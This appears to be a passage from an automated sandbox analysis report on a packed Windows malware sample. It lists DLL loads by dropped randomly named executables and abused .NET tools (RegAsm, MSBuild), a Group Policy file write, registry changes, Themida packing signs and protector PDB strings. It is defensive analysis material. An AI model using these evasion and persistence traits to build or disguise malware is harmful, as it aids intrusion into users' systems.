Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: gpapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: amsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\9AzlS7F3tYa6PD9PpLcR316P.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: mscoree.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: wininet.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: amsi.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: urlmon.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: iertutil.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: srvcli.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: netutils.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: sspicli.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: sxs.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: mpr.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: scrrun.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: linkinfo.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: edputil.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: appresolver.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: slc.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: sppc.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\TrIR3OjzF5zT6wur9yJ59R0V.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: userenv.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: apphelp.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: propsys.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: oleacc.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: version.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: shfolder.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: wldp.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: profapi.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: textshaping.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: wintypes.dll
Source: C:\Users\user\Documents\SimpleAdobe\N_fzNzObxT0UJ9JQqz4nPKUC.exe	Section loaded: wintypes.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dwrite.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msisip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wshext.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: appxsip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: opcservices.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: esdsip.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: scrrun.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: linkinfo.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: secur32.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wersvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: windowsperformancerecordercontrol.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: weretw.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: faultrep.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbghelp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dbgcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wer.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: uxtheme.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: windows.storage.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: wldp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: profapi.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: dwrite.dll
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Section loaded: acgenral.dll
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Temp\7zS76DB.tmp\Install.exe	Section loaded: version.dll

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{EA502722-A23D-11D1-A7D3-0000F87571E3}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\tZvjMg3Hw9.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: C:\Users\user\AppData\Local\Temp\is-RS88H.tmp\FXnrFSfIY3onUvtSB3cuKesF.tmp

Window found: window name: TMainForm

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Documents\SimpleAdobe\cWSgbiiWuHkrGD6e9Bvvb03z.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: tZvjMg3Hw9.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: tZvjMg3Hw9.exe

Static file information: File size 6203640 > 1048576

Source: tZvjMg3Hw9.exe

Static PE information: Raw size of .themida is bigger than: 0x100000 < 0x514000

Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\x64\Release\XBundlerTlsHelper.pdb source: tZvjMg3Hw9.exe
Source:	Binary string: C:\Users\weckb\source\repos\Hider\Hider\obj\x64\Release\Hider.pdb source: TrIR3OjzF5zT6wur9yJ59R0V.exe, 00000015.00000000.2584124257.00000268C10B2000.00000002.00000001.01000000.00000014.sdmp, TrIR3OjzF5zT6wur9yJ59R0V.exe, 00000015.00000002.3348354834.00000268C14F0000.00000002.00000001.00040000.00000014.sdmp
Source:	Binary string: c:\MyProjects\gitlab\ILProtector\ILProtector\Output2010\Win32\Release\Protect32.pdb source: cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.2931931967.000000000435C000.00000004.00000800.00020000.00000000.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.3350307829.0000000005690000.00000004.08000000.00040000.00000000.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.3370248970.000000006A564000.00000002.00000001.01000000.00000023.sdmp, cWSgbiiWuHkrGD6e9Bvvb03z.exe, 0000000B.00000002.2931931967.0000000003C91000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Z:\Development\SecureEngine\src\plugins_manager\internal_plugins\embedded dlls\TlsHelperXBundler\Release\XBundlerTlsHelper.pdb source: lrPP7Py6j59vWWqs5P8cBSO1.exe, 00000007.00000002.3397323684.000000000059C000.00000040.00000001.01000000.00000007.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000002.3396296083.0000000000566000.00000040.00000001.01000000.0000000A.sdmp, pnUE3Ri3AJFo6xuNgBEk3Rs_.exe, 00000008.00000001.2688844184.0000000000566000.00000040.00000001.01000000.0000000A.sdmp, tDrDIT3EJ93dpzmmxTIMr4ah.exe, 0000000D.00000002.3397729978.0000000000566000.00000040.00000001.01000000.0000000F.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000000.2592125898.0000000000DF6000.00000080.00000001.01000000.00000013.sdmp, 9AzlS7F3tYa6PD9PpLcR316P.exe, 00000014.00000002.3398970212.0000000000DF6000.00000080.00000001.01000000.00000013.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: tZvjMg3Hw9.exe, 00000000.00000000.2080092625.0000000140537000.00000080.00000001.01000000.00000003.sdmp
